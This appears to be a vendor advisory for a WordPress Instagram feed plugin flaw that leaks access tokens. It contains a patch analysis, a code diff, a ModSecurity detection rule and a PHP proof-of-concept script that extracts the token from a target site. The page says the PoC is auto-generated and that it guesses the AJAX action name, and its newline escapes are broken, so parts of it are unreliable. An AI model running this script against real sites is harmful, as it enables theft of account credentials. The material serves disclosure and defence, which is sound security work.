Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125766: WPZOOM Social Feed Widget & Block <= 2.4.1 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.4.1
Patched Version 2.4.2
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125766:

The WPZOOM Social Feed Widget & Block plugin for WordPress, versions up to and including 2.4.1, is vulnerable to unauthenticated information exposure. The flaw resides in the plugin’s handling of Instagram Graph API pagination data. This vulnerability has a CVSS score of 5.3 and is classified as CWE-200 (Exposure of Sensitive Information).

Root Cause:
The plugin caches and returns raw Graph API paging objects that contain full request URLs with the Instagram access token embedded in the `access_token` query parameter. In `includes/class-wpzoom-instagram-widget-api.php`, the method responsible for converting API responses (around lines 502 and 594) assigns `$raw_data->paging` and `$final_paging` directly to the final data object without sanitization. Similarly, the caching layer (around line 692) stores and later returns the raw paging object. When the plugin’s display handler processes AJAX requests in `includes/class-wpzoom-instagram-widget-display.php`, it reads the `next` POST parameter, extracts the `after` cursor from the URL, but also returns the original `next_url` (which still contains the access token) in the JSON response when the cache is exhausted (line 207). This allows unauthenticated attackers to retrieve the access token by requesting the feed and inspecting the pagination data.

Exploitation:
An unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the plugin’s AJAX handler (e.g., `wpzoom_instagram_load_more` or similar). The attacker includes parameters such as `next` containing a pagination URL previously obtained from the feed, or simply requests the initial feed with pagination enabled. The response JSON includes a `paging` object (or `next_url` field) that contains the full Graph API URL with the `access_token` parameter. By inspecting the response, the attacker extracts the access token and can then use it to access the Instagram account’s data directly or perform further attacks.

Patch Analysis:
The patch introduces a new static method `sanitize_paging()` in `class-wpzoom-instagram-widget-api.php` (lines 594-668). This method strips credentials from the paging object, returning only the opaque `cursors` (before and after) and a token-free `next` string in the form `?after=`. The method also ensures that `next` is only present when there is a further page. The patch applies `sanitize_paging()` in all three places where paging data is assigned (lines 502, 594, and 692), thus sanitizing data from both API responses and cached transients. Additionally, in `class-wpzoom-instagram-widget-display.php`, the patch modifies the handling of the `next` parameter to use `wp_unslash` instead of `sanitize_text_field` (to preserve percent-encoded characters) and, crucially, changes the `next_url` returned in AJAX responses to be constructed server-side from the sanitized paging object (line 208). This prevents the raw access token from being exposed.

Impact:
Successful exploitation allows unauthenticated attackers to obtain the Instagram access token used by the plugin. With this token, an attacker can access the associated Instagram account’s data, potentially read private posts, metadata, and perform actions permitted by the token’s scope. This constitutes a significant data breach and may lead to further compromise of the Instagram account.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/instagram-widget-by-wpzoom/includes/class-wpzoom-instagram-widget-api.php
+++ b/instagram-widget-by-wpzoom/includes/class-wpzoom-instagram-widget-api.php
@@ -502,7 +502,7 @@
 			$final_data->data = $converted_data->data ?? array();

 			if ( $include_pagination && property_exists( $raw_data, 'paging' ) ) {
-				$final_data->paging = $raw_data->paging;
+				$final_data->paging = self::sanitize_paging( $raw_data->paging );
 			}

 			return $final_data;
@@ -594,13 +594,68 @@
 		$final_data->data = $all_items;

 		if ( $include_pagination && $final_paging ) {
-			$final_data->paging = $final_paging;
+			// Never keep the raw Graph API paging URLs: they contain the access token.
+			$final_data->paging = self::sanitize_paging( $final_paging );
 		}

 		return $final_data;
 	}

 	/**
+	 * Strip credentials from a Graph API paging object.
+	 *
+	 * The API returns `paging.next` / `paging.previous` as full request URLs that include
+	 * the `access_token` query parameter. Those must never be cached, returned to callers
+	 * or printed to the page. This returns a new object holding only the opaque cursors,
+	 * with `next` reduced to a token-free `?after=<cursor>` string (absent when there is
+	 * no further page), which callers can still parse for the `after` cursor.
+	 *
+	 * @param  object|mixed $paging Raw (or already sanitized) paging object.
+	 * @return object               Sanitized paging object.
+	 */
+	public static function sanitize_paging( $paging ) {
+		$clean          = new stdClass();
+		$clean->cursors = new stdClass();
+		// `next` is deliberately left undefined when there is no further page: callers
+		// (including older PRO versions) use property_exists( $paging, 'next' ) as "has more".
+
+		if ( ! is_object( $paging ) ) {
+			return $clean;
+		}
+
+		if ( isset( $paging->cursors ) && is_object( $paging->cursors ) ) {
+			foreach ( array( 'before', 'after' ) as $key ) {
+				if ( isset( $paging->cursors->{$key} ) && is_scalar( $paging->cursors->{$key} ) ) {
+					$clean->cursors->{$key} = (string) $paging->cursors->{$key};
+				}
+			}
+		}
+
+		// `next` is only present when another page exists.
+		if ( ! empty( $paging->next ) && is_string( $paging->next ) ) {
+			$after = '';
+			$query = wp_parse_url( $paging->next, PHP_URL_QUERY );
+
+			if ( ! empty( $query ) ) {
+				parse_str( $query, $params );
+				if ( ! empty( $params['after'] ) && is_string( $params['after'] ) ) {
+					$after = $params['after'];
+				}
+			}
+
+			if ( '' === $after && ! empty( $clean->cursors->after ) ) {
+				$after = $clean->cursors->after;
+			}
+
+			if ( '' !== $after ) {
+				$clean->next = '?after=' . rawurlencode( $after );
+			}
+		}
+
+		return $clean;
+	}
+
+	/**
 	 * Count items that match the allowed post types
 	 */
 	private function count_allowed_items( $items, $allowed_post_types ) {
@@ -692,7 +747,8 @@
         );

         if ( $include_pagination && property_exists( $data, 'paging' ) ) {
-            $result['paging'] = $data->paging;
+            // Also covers transients cached by older versions, which still hold the raw paging URLs.
+            $result['paging'] = self::sanitize_paging( $data->paging );
         }

         return $result;
--- a/instagram-widget-by-wpzoom/includes/class-wpzoom-instagram-widget-display.php
+++ b/instagram-widget-by-wpzoom/includes/class-wpzoom-instagram-widget-display.php
@@ -84,7 +84,8 @@
 		$item_amount        = isset( $_POST['item_amount'] ) ? intval( $_POST['item_amount'] ) : 9;
 		$image_size         = isset( $_POST['image_size'] ) ? sanitize_text_field( $_POST['image_size'] ) : 'standard_resolution';
 		$allowed_post_types = isset( $_POST['allowed_post_types'] ) ? sanitize_text_field( $_POST['allowed_post_types'] ) : 'IMAGE,VIDEO,CAROUSEL_ALBUM';
-		$next_url           = isset( $_POST['next'] ) ? sanitize_text_field( $_POST['next'] ) : '';
+		// Only parsed for its `after` cursor below (never echoed back); sanitize_text_field() on the raw value would strip percent-encoded characters.
+		$next_url           = isset( $_POST['next'] ) && is_string( $_POST['next'] ) ? wp_unslash( $_POST['next'] ) : '';
 		$cache_offset       = isset( $_POST['cache_offset'] ) ? intval( $_POST['cache_offset'] ) : -1;

 		// Get feed settings
@@ -207,7 +208,8 @@
 						'html'         => $html,
 						'lightbox_html' => $lightbox_html,
 						'has_more'     => $has_more,
-						'next_url'     => $next_url, // Keep the API next URL for when cache is exhausted
+						// Token-free "?after=<cursor>" derived server-side, for when the cache is exhausted.
+						'next_url'     => $api_has_more ? $all_items['paging']->next : '',
 						'from_cache'   => true,
 						'cache_offset' => $new_offset,
 					) );
@@ -223,8 +225,8 @@
 			$parsed_url = parse_url( $next_url );
 			if ( isset( $parsed_url['query'] ) ) {
 				parse_str( $parsed_url['query'], $params );
-				if ( isset( $params['after'] ) ) {
-					$pagination_cursor = $params['after'];
+				if ( isset( $params['after'] ) && is_string( $params['after'] ) ) {
+					$pagination_cursor = sanitize_text_field( $params['after'] );
 				}
 			}
 		}
@@ -813,13 +815,14 @@
 							$allowed_post_types = sanitize_text_field( $_POST['allowed_post_types'] );
 						}
 						if ( isset( $_POST['next'] ) ) {
-							$next_url = sanitize_text_field( $_POST['next'] );
+							// Only parsed for its `after` cursor; sanitize_text_field() on the raw value would strip percent-encoded characters.
+							$next_url = is_string( $_POST['next'] ) ? wp_unslash( $_POST['next'] ) : '';
 							// Extract cursor from URL - the 'after' parameter contains the cursor
 							$parsed_url = parse_url( $next_url );
 							if ( isset( $parsed_url['query'] ) ) {
 								parse_str( $parsed_url['query'], $params );
-								if ( isset( $params['after'] ) ) {
-									$pagination_cursor = $params['after'];
+								if ( isset( $params['after'] ) && is_string( $params['after'] ) ) {
+									$pagination_cursor = sanitize_text_field( $params['after'] );
 								}
 							}
 						}
--- a/instagram-widget-by-wpzoom/instagram-widget-by-wpzoom.php
+++ b/instagram-widget-by-wpzoom/instagram-widget-by-wpzoom.php
@@ -3,7 +3,7 @@
  * Plugin Name: WPZOOM Instagram Social Feed
  * Plugin URI: https://www.wpzoom.com/plugins/instagram-widget/
  * Description: Instagram feed plugin for WordPress - Display beautiful Instagram photos, videos & reels. Easy setup with Gutenberg block, widget, shortcode & Elementor.
- * Version: 2.4.1
+ * Version: 2.4.2
  * Author: WPZOOM
  * Author URI: https://www.wpzoom.com/
  * Text Domain: instagram-widget-by-wpzoom

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026125766,phase:2,deny,status:403,chain,msg:'CVE-2026-125766 - WPZOOM Social Feed Unauthenticated Information Exposure',severity:'CRITICAL',tag:'CVE-2026-125766'"
  SecRule ARGS_POST:action "@streq wpzoom_instagram_load_more" "chain"
    SecRule ARGS_POST:next "@rx access_token=" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125766 - WPZOOM Social Feed Widget & Block <= 2.4.1 - Unauthenticated Information Exposure

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Send a request to the plugin's AJAX endpoint to retrieve the feed with pagination.
// The exact action name may vary; we assume 'wpzoom_instagram_load_more' based on typical plugin behaviour.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'wpzoom_instagram_load_more', // Adjust if needed
    'item_amount' => 9,
    'image_size' => 'standard_resolution',
    'allowed_post_types' => 'IMAGE,VIDEO,CAROUSEL_ALBUM',
    'cache_offset' => -1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200) {
    die("Request failed with HTTP code $http_coden");
}

// Step 2: Parse the JSON response and look for the paging object containing the access token.
$data = json_decode($response, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    die("Invalid JSON responsen");
}

// The paging data may be in 'data'->'paging' or directly in 'paging' depending on plugin version.
$paging = null;
if (isset($data['data']['paging'])) {
    $paging = $data['data']['paging'];
} elseif (isset($data['paging'])) {
    $paging = $data['paging'];
}

if ($paging === null) {
    die("No paging data found in responsen");
}

// Step 3: Extract the access token from the 'next' or 'previous' URLs.
$access_token = null;
foreach (['next', 'previous'] as $key) {
    if (isset($paging[$key]) && is_string($paging[$key])) {
        $url = $paging[$key];
        $query = parse_url($url, PHP_URL_QUERY);
        if ($query) {
            parse_str($query, $params);
            if (isset($params['access_token'])) {
                $access_token = $params['access_token'];
                break;
            }
        }
    }
}

if ($access_token === null) {
    die("Access token not found in paging datan");
}

echo "[+] Extracted Instagram Access Token: $access_tokenn";

// Step 4: (Optional) Use the token to query Instagram API, e.g., get user info.
// $api_url = 'https://graph.instagram.com/me?fields=id,username&access_token=' . urlencode($access_token);
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $api_url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// $api_response = curl_exec($ch);
// curl_close($ch);
// echo "API Response: $api_responsen";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.